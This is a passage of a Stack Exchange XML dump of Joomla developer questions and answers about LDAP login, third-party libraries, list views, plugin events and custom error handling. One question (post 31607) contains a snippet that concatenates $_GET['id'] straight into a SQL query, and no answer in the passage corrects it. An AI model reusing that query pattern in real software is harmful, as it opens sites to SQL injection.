\Joomla\CMS\Factory::getApplication()-&amp;gt;getSession()-&amp;gt;get('user');&#xA;$userSession = \Joomla\CMS\Factory::getApplication()-&amp;gt;getSession();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; Most of the information in this post was derived from &lt;a href=&quot;https://gist.github.com/PhilETaylor/0c36d87da0f2ad231b378b47c54cfb9b&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/PhilETaylor/0c36d87da0f2ad231b378b47c54cfb9b&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2021-10-11T11:05:56.920" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31588" PostTypeId="1" CreationDate="2021-10-13T11:54:09.017" Score="1" ViewCount="1203" Body="&lt;p&gt;Which settings and plugins are exactly needed to configure Joomla 4.0.3 with LDAP support?&lt;/p&gt;&#xA;&lt;p&gt;The AD server is a Windows Server 2016 Standard.&lt;/p&gt;&#xA;&lt;p&gt;I have  activated the Joomla Plugin &lt;strong&gt;Authentication - LDAP&lt;/strong&gt; with the following settings but without success.&lt;/p&gt;&#xA;&lt;div class=&quot;s-table-container&quot;&gt;&#xA;&lt;table class=&quot;s-table&quot;&gt;&#xA;&lt;thead&gt;&#xA;&lt;tr&gt;&#xA;&lt;th&gt;Setting&lt;/th&gt;&#xA;&lt;th&gt;Value&lt;/th&gt;&#xA;&lt;/tr&gt;&#xA;&lt;/thead&gt;&#xA;&lt;tbody&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;Host&lt;/td&gt;&#xA;&lt;td&gt;10.177.xx.xx&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;Port&lt;/td&gt;&#xA;&lt;td&gt;389&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;LDAP V3&lt;/td&gt;&#xA;&lt;td&gt;YES&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;Negotiate TLS&lt;/td&gt;&#xA;&lt;td&gt;NO&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;Ignore Certificate&lt;/td&gt;&#xA;&lt;td&gt;NO&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;Follow Referrals&lt;/td&gt;&#xA;&lt;td&gt;NO&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;Authorisation Method&lt;/td&gt;&#xA;&lt;td&gt;Bind and Search&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;Base DN&lt;/td&gt;&#xA;&lt;td&gt;DC=xxx-xx,DC=DE&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;Search String&lt;/td&gt;&#xA;&lt;td&gt;sAMAccountName=[search]&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;User's DN&lt;/td&gt;&#xA;&lt;td&gt;n/a&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;Connect Username&lt;/td&gt;&#xA;&lt;td&gt;service.ldap &lt;strong&gt;or&lt;/strong&gt;&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;&lt;/td&gt;&#xA;&lt;td&gt;service.ldap@xxx-xx.de &lt;strong&gt;or&lt;/strong&gt;&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;&lt;/td&gt;&#xA;&lt;td&gt;xx-xx\service.ldap &lt;strong&gt;or&lt;/strong&gt;&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;&lt;/td&gt;&#xA;&lt;td&gt;CN=Service, LDAP,OU=Serviceaccounts,OU=EDV,DC=xxx-xx,DC=DE&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;Connect Password&lt;/td&gt;&#xA;&lt;td&gt;***********&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;Map: Full Name&lt;/td&gt;&#xA;&lt;td&gt;displayName&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;Map: Email&lt;/td&gt;&#xA;&lt;td&gt;mail&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;Map: User ID&lt;/td&gt;&#xA;&lt;td&gt;sAMAccountName&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;/div&gt;" OwnerUserId="15785" LastActivityDate="2021-11-09T17:54:15.627" Title="Joomla 4.0.3 - LDAP Login / Microsoft AD" Tags="|login|joomla-4.x|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31589" PostTypeId="1" AcceptedAnswerId="31593" CreationDate="2021-10-14T16:07:22.180" Score="0" ViewCount="178" Body="&lt;p&gt;I need to use a library I found on Github in an existing component, but my near non-existent knowledge of NAMESPACE is making it impossible.&lt;/p&gt;&#xA;&lt;p&gt;To merge PDF files, I'm using the library at &lt;a href=&quot;https://github.com/gabrielchavezme/pdf-table-of-content&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/gabrielchavezme/pdf-table-of-content&lt;/a&gt;. The standalone code that works is below.  However, when used within my Joomla controller or CLI scripts, everything crashes when it interferes with Joomla.&lt;/p&gt;&#xA;&lt;p&gt;How can I use this library from with Joomla?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&#xA;For POC, I &lt;em&gt;did&lt;/em&gt; try it outside the controller class, and of course it was a total failure, which is when I tried it at the top of a CLI script, and had the same kind of problems. In short, I don't know where I should be trying to put it into Joomla.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace GabrielChavez\PdfTableOfContent;&#xA;use GabrielChavez\PdfTableOfContent\Exceptions\FileNotFoundException;&#xA;use GabrielChavez\PdfTableOfContent\Exceptions\NoFilesDefinedException;&#xA;use GabrielChavez\PdfTableOfContent\PdfTableOfContent;&#xA;use TCPDI;&#xA;&#xA;require_once ('libraries/pdfTOC/vendor/autoload.php');&#xA;$pdfMerge = new PdfTableOfContent();&#xA;$pdfMerge-&amp;gt;add([&#xA;    'file' =&amp;gt; '2018_01_08_RM_Exhibit_A.pdf',&#xA;    'title' =&amp;gt; 'File 1',&#xA;    'id' =&amp;gt; 1&#xA;]);&#xA;$pdfMerge-&amp;gt;add([&#xA;    'file' =&amp;gt; '2018_01_08_RM_Exhibit_B.pdf',&#xA;    'title' =&amp;gt; 'File 2',&#xA;    'id' =&amp;gt; 2&#xA;]);&#xA;$pdfMerge-&amp;gt;merge('MyMergedPDF.pdf');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2021-10-14T21:52:59.397" LastActivityDate="2021-10-15T05:47:57.510" Title="How to use 3rd party libraries with a Namespace?" Tags="|libraries|namespace|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="31590" PostTypeId="1" CreationDate="2021-10-14T19:46:55.347" Score="0" ViewCount="27" Body="&lt;p&gt;Here is a random question. I have Joomla 3.10 installed on a client site. I am getting a notification on the backend that Joomla 3.2.7 is now available to be installed. When you click the notification it takes you to the Joomla update page which tells you that you are at the current version already. How do I check to see where that error is coming from with the wrong version info?&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2021-10-14T19:46:55.347" Title="Incorrect Joomla version being displayed" Tags="|joomla-3.x|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="31593" PostTypeId="2" ParentId="31589" CreationDate="2021-10-15T05:47:57.510" Score="1" Body="&lt;p&gt;Without knowing what errors you're getting or what your Joomla code looks like I can only think of two potential issues.&lt;/p&gt;&#xA;&lt;p&gt;First is the unnecessary and wrong use of namespace declaration. If you add it to your controller class file, your controller class will no longer be found by Joomla. Another issue could be related to relative paths. As good practice you should use absolute paths when including files. In Joomla use &lt;code&gt;JPATH_*&lt;/code&gt; constants where possible and &lt;code&gt;__DIR__&lt;/code&gt; PHP constants elsewhere.&lt;/p&gt;&#xA;&lt;p&gt;Below is a working example which assumes that PDF files are present in Joomla root directory and that the library is installed as a Joomla library extension in libraries directory.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;use GabrielChavez\PdfTableOfContent\PdfTableOfContent;&#xA;&#xA;require_once JPATH_LIBRARIES . '/pdftoc/vendor/autoload.php';&#xA;&#xA;class MyComponentControllerPdf extends JControllerLegacy&#xA;{&#xA;    public function mergePdf()&#xA;    {&#xA;        $pdfMerge = new PdfTableOfContent();&#xA;        $pdfMerge-&amp;gt;add([&#xA;            'file' =&amp;gt; JPATH_ROOT . '/2018_01_08_RM_Exhibit_A.pdf.pdf',&#xA;            'title' =&amp;gt; 'File 1',&#xA;            'id' =&amp;gt; 1&#xA;        ]);&#xA;        $pdfMerge-&amp;gt;add([&#xA;            'file' =&amp;gt; JPATH_ROOT . '/2018_01_08_RM_Exhibit_B.pdf',&#xA;            'title' =&amp;gt; 'File 2',&#xA;            'id' =&amp;gt; 2&#xA;        ]);&#xA;        $pdfMerge-&amp;gt;merge(JPATH_ROOT . '/MyMergedPDF.pdf');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-10-15T05:47:57.510" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31594" PostTypeId="1" CreationDate="2021-10-15T23:06:28.397" Score="0" ViewCount="30" Body="&lt;p&gt;Whenever I create a new user group it sets it to a user group we created called &amp;quot;Basic&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;This is very annoying as it means it doesn't show up a lot of the time.&lt;/p&gt;&#xA;&lt;p&gt;Is there somewhere we can set this back to public?&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2021-10-15T23:06:28.397" Title="Where can I set the default user group?" Tags="|user-groups|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="31595" PostTypeId="1" AcceptedAnswerId="31596" CreationDate="2021-10-16T07:15:01.567" Score="1" ViewCount="338" Body="&lt;p&gt;I am creating a component and trying to display a list within a model.  The code I have shows the multiple arrays that should be on the list, but when I add echo inside the view table, I am only getting one result each time.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db    = Factory::getDBO();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query&#xA;    -&amp;gt;select(&amp;quot;*&amp;quot;)&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__football_player'))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('teamid') . ' = ' . $db-&amp;gt;quote($value) . ' AND active = 1');&#xA;$db-&amp;gt;setQuery($query);&#xA;$results = $db-&amp;gt;loadObjectList();&#xA;    &#xA;foreach($results as $result) {&#xA;    $playid = $result-&amp;gt;id;&#xA;    $players = explode(',', $playid);&#xA;    print_r($players)&#xA;}&#xA;$this-&amp;gt;_item-&amp;gt;players = $players;&#xA;$this-&amp;gt;_item-&amp;gt;lname = $result-&amp;gt;lname;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;print_r()&lt;/code&gt; is showing both items, but the table on the frontend only shows one, or if I move my print outside the brackets it goes down to one as well.&lt;/p&gt;&#xA;&lt;p&gt;For more context:&lt;/p&gt;&#xA;&lt;p&gt;Here is a sql fiddle with some sample data: &lt;a href=&quot;http://sqlfiddle.com/#!9/d08e77/1&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://sqlfiddle.com/#!9/d08e77/1&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The page currently loads all the details from &lt;code&gt;#__football_team&lt;/code&gt; and lists it on the page, but looking to have a list of &lt;code&gt;#__football_player&lt;/code&gt; below it.&lt;/p&gt;&#xA;" OwnerUserId="15798" LastEditorUserId="12352" LastEditDate="2022-07-16T10:54:30.477" LastActivityDate="2022-07-16T10:54:30.477" Title="View only showing one row from sql result set" Tags="|php|mysql|mvc|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31596" PostTypeId="2" ParentId="31595" CreationDate="2021-10-16T08:47:31.827" Score="2" Body="&lt;p&gt;The good news is that this is a very basic task.&lt;/p&gt;&#xA;&lt;p&gt;I would pass the entire players result set to your view via &lt;code&gt;$this-&amp;gt;_item-&amp;gt;players&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query&#xA;    -&amp;gt;select(&amp;quot;*&amp;quot;)&#xA;    -&amp;gt;from($db-&amp;gt;qn('#__football_player'))&#xA;    -&amp;gt;where(&#xA;        [&#xA;            $db-&amp;gt;qn('teamid') . ' = ' . $db-&amp;gt;q($value),&#xA;            &amp;quot;active = 1&amp;quot;&#xA;        ]&#xA;    );&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$this-&amp;gt;_item-&amp;gt;players = $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This will generate an empty array or an array of object.&lt;/p&gt;&#xA;&lt;p&gt;In your view, use a foreach to iterate each row and then access column data using property syntax (&lt;code&gt;-&amp;gt;&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2021-10-19T03:20:13.223" LastActivityDate="2021-10-19T03:20:13.223" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31598" PostTypeId="2" ParentId="31585" CreationDate="2021-10-18T09:59:02.377" Score="0" Body="&lt;p&gt;Finally, by looking at other scripts on other J3 sites, I find that I have to wrap the code like this and it works:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;window.onload=function() {&#xA;// original code as above&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(although I still have the cross-site cookie notices, but I think that's another issue...)&lt;/p&gt;&#xA;" OwnerUserId="13040" LastActivityDate="2021-10-18T09:59:02.377" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31601" PostTypeId="1" CreationDate="2021-10-20T09:17:40.487" Score="1" ViewCount="30" Body="&lt;p&gt;Is there an event like &lt;code&gt;onUserCreation()&lt;/code&gt; for the &lt;strong&gt;backend&lt;/strong&gt; in J3? So if an administrator creates a new user, specified code (e. g. from plugin) is executed. In the &lt;a href=&quot;https://docs.joomla.org/API_Guides&quot; rel=&quot;nofollow noreferrer&quot;&gt;API guides&lt;/a&gt; I didn't find any obviously relevant content for this. Do you know if there's any event like this?&lt;/p&gt;&#xA;" OwnerUserId="8120" LastEditorUserId="12352" LastEditDate="2021-10-20T09:51:24.783" LastActivityDate="2021-10-20T09:51:24.783" Title="Event for user creation in administration" Tags="|joomla-3.x|development|user|administrator|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31602" PostTypeId="2" ParentId="31601" CreationDate="2021-10-20T09:40:02.060" Score="1" Body="&lt;p&gt;You can use the &lt;code&gt;onUserAfterSave&lt;/code&gt; event, which also includes a &lt;code&gt;isnew&lt;/code&gt; argument, like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function onUserAfterSave($user, $isnew, $success, $msg)&#xA;{&#xA;    if ($isnew &amp;amp;&amp;amp; $success)&#xA;    {&#xA;        // A new user was created and successully stored in the database.&#xA;        // Perform some action&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="12352" LastEditDate="2021-10-20T09:50:53.880" LastActivityDate="2021-10-20T09:50:53.880" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31604" PostTypeId="1" CreationDate="2021-10-21T18:37:43.090" Score="1" ViewCount="80" Body="&lt;p&gt;I'm experiencing a really weird error in the backend of my site - Whenever I try to set an image for a category or article, the modal that pops up just shows me the Joomla dashboard.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mTX6Q.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mTX6Q.jpg&quot; alt=&quot;Category edit page with &amp;quot;options&amp;quot; selected, before error&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;When I'm editing the options of the article or category and click &amp;quot;select&amp;quot; to choose an image, the modal pops up but doesn't show the media files. Instead it just tells me &amp;quot;404 component not found&amp;quot; in the Joomla dashboard. I can browse around through the backend of my website inside the modal that's supposed to be showing me the media files.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7CUes.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7CUes.jpg&quot; alt=&quot;Category edit page showing the modal which should contain the media files, and instead contains the 404 component not found error.&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I've updated all of my extensions and even re-installed Joomla, and nothing is helping. I'm using YooTheme Pro, if it helps.&lt;/p&gt;&#xA;" OwnerUserId="15813" LastActivityDate="2021-10-21T18:37:43.090" Title="&quot;404 Component not found&quot; when trying to set an image for a category" Tags="|joomla-3.x|component|articles|category|images|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31605" PostTypeId="1" AcceptedAnswerId="31608" CreationDate="2021-10-22T01:20:08.443" Score="1" ViewCount="39" Body="&lt;p&gt;I have a CLI function that runs daily and a key part of its processing uses a Plugin to create a connection with an external source to retrieve data and it works fine when the Access Level on the Plugin is Public, or Guest, but not when it is Registered or above.&lt;/p&gt;&#xA;&lt;p&gt;However the same Plugin is used by other parts of the website for the user to initiate the connection and it should not be visible to the public so it runs with an Access Level of Registered. And this is the conflict, it can't be both Public and Registered.&lt;/p&gt;&#xA;&lt;p&gt;I think the solution is to make the CLI appear to be running as a logged in user or at least appear to be Registered so that the required Plugin is loaded but I haven't been able to find any examples or suggestions about how to achieve this.&lt;/p&gt;&#xA;&lt;p&gt;Alternatively I wondered if there was a way to force a specific plugin to be loaded in the Dispatcher for my CLI.&lt;/p&gt;&#xA;&lt;p&gt;Anyone seen something similar or can suggest how I might be able to get the Plugin to be loaded in my CLI environment?&lt;/p&gt;&#xA;&lt;p&gt;It currently runs in Joomla 3 but I am preparing things to migrate to Joomla 4 so if there is an easier solution Joomla 4, like the new Scheduling feature, I might be able to delay fixing it until then.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="12352" LastEditDate="2021-11-14T23:27:51.627" LastActivityDate="2021-11-14T23:27:51.627" Title="CLI function requires a Plugin with an access level of registered" Tags="|joomla-3.x|joomla-4.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31606" PostTypeId="2" ParentId="28910" CreationDate="2021-10-22T03:38:13.697" Score="0" Body="&lt;p&gt;The issue still exists in Joomla 4, pretty much the same code it seems, and I think it is something that could easily be fixed in the core by someone with the access and knowledge as I think the issue comes down how differently two similar pieces of code handle an error with the activation code.&lt;/p&gt;&#xA;&lt;p&gt;In &lt;code&gt;components/com_users/controllers/registration.php&lt;/code&gt; this code snippet shows how it creates the 403 and stops you dead.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Get the User ID&#xA;$userIdToActivate = $model-&amp;gt;getUserIdFromToken($token);&#xA;&#xA;if (!$userIdToActivate)&#xA;{&#xA;    JError::raiseError(403, JText::_('COM_USERS_ACTIVATION_TOKEN_NOT_FOUND'));&#xA;&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;while in the file below it that handles a password reset, &lt;code&gt;components/com_users/controllers/reset.php&lt;/code&gt;, any issues are handled much more gracefully.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Confirm the password reset request.&#xA;$return = $model-&amp;gt;processResetConfirm($data);&#xA;&#xA;// Check for a hard error.&#xA;if ($return instanceof Exception)&#xA;{&#xA;    // Get the error message to display.&#xA;    if ($app-&amp;gt;get('error_reporting'))&#xA;    {&#xA;        $message = $return-&amp;gt;getMessage();&#xA;    }&#xA;    else&#xA;    {&#xA;        $message = JText::_('COM_USERS_RESET_CONFIRM_ERROR');&#xA;    }&#xA;&#xA;    // Go back to the confirm form.&#xA;    $this-&amp;gt;setRedirect(JRoute::_('index.php?option=com_users&amp;amp;view=reset&amp;amp;layout=confirm', false), $message, 'error');&#xA;&#xA;    return false;&#xA;}&#xA;elseif ($return === false)&#xA;{&#xA;    // Confirm failed.&#xA;    // Go back to the confirm form.&#xA;    $message = JText::sprintf('COM_USERS_RESET_CONFIRM_FAILED', $model-&amp;gt;getError());&#xA;    $this-&amp;gt;setRedirect(JRoute::_('index.php?option=com_users&amp;amp;view=reset&amp;amp;layout=confirm', false), $message, 'notice');&#xA;&#xA;    return false;&#xA;}&#xA;else&#xA;{&#xA;    // Confirm succeeded.&#xA;    // Proceed to step three.&#xA;    $this-&amp;gt;setRedirect(JRoute::_('index.php?option=com_users&amp;amp;view=reset&amp;amp;layout=complete', false));&#xA;&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In my view the solution to this issue is not to come up with some hack work around, rather we should work to improve the core code so that it is more consistent and handle the issue with a message rather than an exception.&lt;/p&gt;&#xA;&lt;p&gt;Maybe there is more to it than what I can see, but the second example seems to have been coded better with more thought put into how to handle the issues.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2021-10-22T03:38:13.697" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31607" PostTypeId="1" CreationDate="2021-10-22T04:04:31.057" Score="0" ViewCount="54" Body="&lt;p&gt;I want to display the com_tags tag title in a module while on the &amp;quot;Tagged Items&amp;quot; menu item page.&lt;/p&gt;&#xA;&lt;p&gt;My goal is for this code to display the title for the current tag.  For example,  when on this page: /index.php?option=com_tags&amp;amp;view=tag&amp;amp;id=20, the tag title for id=20 should be displayed.&lt;/p&gt;&#xA;&lt;p&gt;I found this code but I don't understand the WHERE code.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select('title')  &#xA;    -&amp;gt;from($db-&amp;gt;quoteName('lfco8__tags'))&#xA;    -&amp;gt;where($db-&amp;gt;qn('id') . &amp;quot; = &amp;quot; . $_GET['id'])&#xA;    ;&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;loadResult();&#xA;print_r($result);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Please reply with different code if there is something better like some json code or other.&lt;/p&gt;&#xA;" OwnerUserId="7327" LastEditorUserId="7327" LastEditDate="2021-11-03T00:57:27.630" LastActivityDate="2021-11-03T00:57:27.630" Title="How to display value from a specific field in the db?" Tags="|database|tags|" AnswerCount="0" CommentCount="13" ContentLicense="CC BY-SA 4.0" />
  <row Id="31608" PostTypeId="2" ParentId="31605" CreationDate="2021-10-22T05:20:24.483" Score="2" Body="&lt;p&gt;There was a &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/20256&quot; rel=&quot;nofollow noreferrer&quot;&gt;discussion&lt;/a&gt; a few years ago about that current access level implementation for plugins should be removed. Instead each plugin should handle authorization inside its code. As most important things in Joomla do, this discussion went nowhere. But you can implement access checks in your plugin anyways. This would be at a small performance cost since the plugin would be instantiated for all users.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-10-22T05:20:24.483" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31609" PostTypeId="2" ParentId="28910" CreationDate="2021-10-22T07:46:45.837" Score="0" Body="&lt;p&gt;As mentioned in the comments, this can be done using a plugin to register a  custom error handler. Most of the work consists of checking that we're dealing with the correct error.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') || exit;&#xA;&#xA;use Joomla\CMS\Language\Text;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;use Joomla\CMS\Router\Route;&#xA;&#xA;final class PlgSystemCustomError extends CMSPlugin&#xA;{&#xA;&#xA;    protected $app;&#xA;    private $previousHandler;&#xA;&#xA;    public function onAfterRoute()&#xA;    {&#xA;        // Some checks so we run only on the pages we need.&#xA;        if ($this-&amp;gt;app-&amp;gt;input-&amp;gt;get('option') !== 'com_users' || $this-&amp;gt;app-&amp;gt;input-&amp;gt;get('task') !== 'registration.activate')&#xA;        {&#xA;            return;&#xA;        }&#xA;&#xA;        // Get previous error handler so we can restore it later.&#xA;        $this-&amp;gt;previousHandler = JError::getErrorHandling(E_ERROR);&#xA;&#xA;        // Set our custom error handler.&#xA;        JError::setErrorHandling(E_ERROR, 'callback', array($this, 'handleError'));&#xA;    }&#xA;&#xA;    public function handleError(JException $error)&#xA;    {&#xA;        /**&#xA;         * Check that we are handling the error we want.&#xA;         * Note that this isn't really reliable as this completely depends on code in the controller.&#xA;         * This will break when language constant or error code is changed.&#xA;         */&#xA;        if ($error-&amp;gt;getCode() !== 403 || $error-&amp;gt;getMessage() !== Text::_('COM_USERS_ACTIVATION_TOKEN_NOT_FOUND'))&#xA;        {&#xA;            if ($this-&amp;gt;previousHandler)&#xA;            {&#xA;                // Reset previous error handler.&#xA;                JError::setErrorHandling(E_ERROR, ...$this-&amp;gt;previousHandler);&#xA;&#xA;                // Rethrow the error.&#xA;                throw $error;&#xA;            }&#xA;&#xA;            // If previous error handler is not set, render default error page.&#xA;            JErrorPage::render($error);&#xA;        }&#xA;&#xA;        // Now add our actual custom handling. In this case we redirect and show a message.&#xA;        $this-&amp;gt;app-&amp;gt;enqueueMessage($error-&amp;gt;getMessage(), 'Warning');&#xA;        $this-&amp;gt;app-&amp;gt;redirect(Route::_('index.php'));&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-10-22T07:46:45.837" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31610" PostTypeId="1" AcceptedAnswerId="31611" CreationDate="2021-10-22T10:51:22.803" Score="2" ViewCount="60" Body="&lt;p&gt;Joomla 3.10.1&lt;/p&gt;&#xA;&lt;p&gt;I am using the following code to display a custom message in one of my components:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$app-&amp;gt;enqueueMessage(JText::sprintf('This is my message'), 'warning');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This produces a &lt;strong&gt;dismissible&lt;/strong&gt; alert on the front end like below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&amp;quot;system-message-container&amp;quot;&amp;gt;&#xA;    &amp;lt;div id=&amp;quot;system-message&amp;quot;&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;alert alert-danger&amp;quot;&amp;gt;&#xA;            &amp;lt;a aria-label=&amp;quot;&amp;quot; class=&amp;quot;close&amp;quot; data-dismiss=&amp;quot;alert&amp;quot;&amp;gt;×&amp;lt;/a&amp;gt;&#xA;            &amp;lt;h4 class=&amp;quot;alert-heading&amp;quot;&amp;gt;Warning&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;div&amp;gt;&#xA;                &amp;lt;div&amp;gt;This is my message&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How can I make this alert non-dismissible without using css?&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2021-10-22T11:03:42.147" Title="HTML Alert enqueueMessage" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31611" PostTypeId="2" ParentId="31610" CreationDate="2021-10-22T11:03:42.147" Score="2" Body="&lt;p&gt;This isn't possible in Joomla 3, because the &lt;code&gt;close&lt;/code&gt; button is hardcode in the layout.&lt;/p&gt;&#xA;&lt;p&gt;One option you have is to override the layout, like so:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create the following directory tree for your component: &lt;code&gt;components/com_xxxx/layouts/joomla/system&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Copy &lt;code&gt;layouts/joomla/system/message.php&lt;/code&gt; to the directory you created in the last step.&lt;/li&gt;&#xA;&lt;li&gt;Open the copied &lt;code&gt;message.php&lt;/code&gt; and remove the close button (should be line 21)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="168" LastActivityDate="2021-10-22T11:03:42.147" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
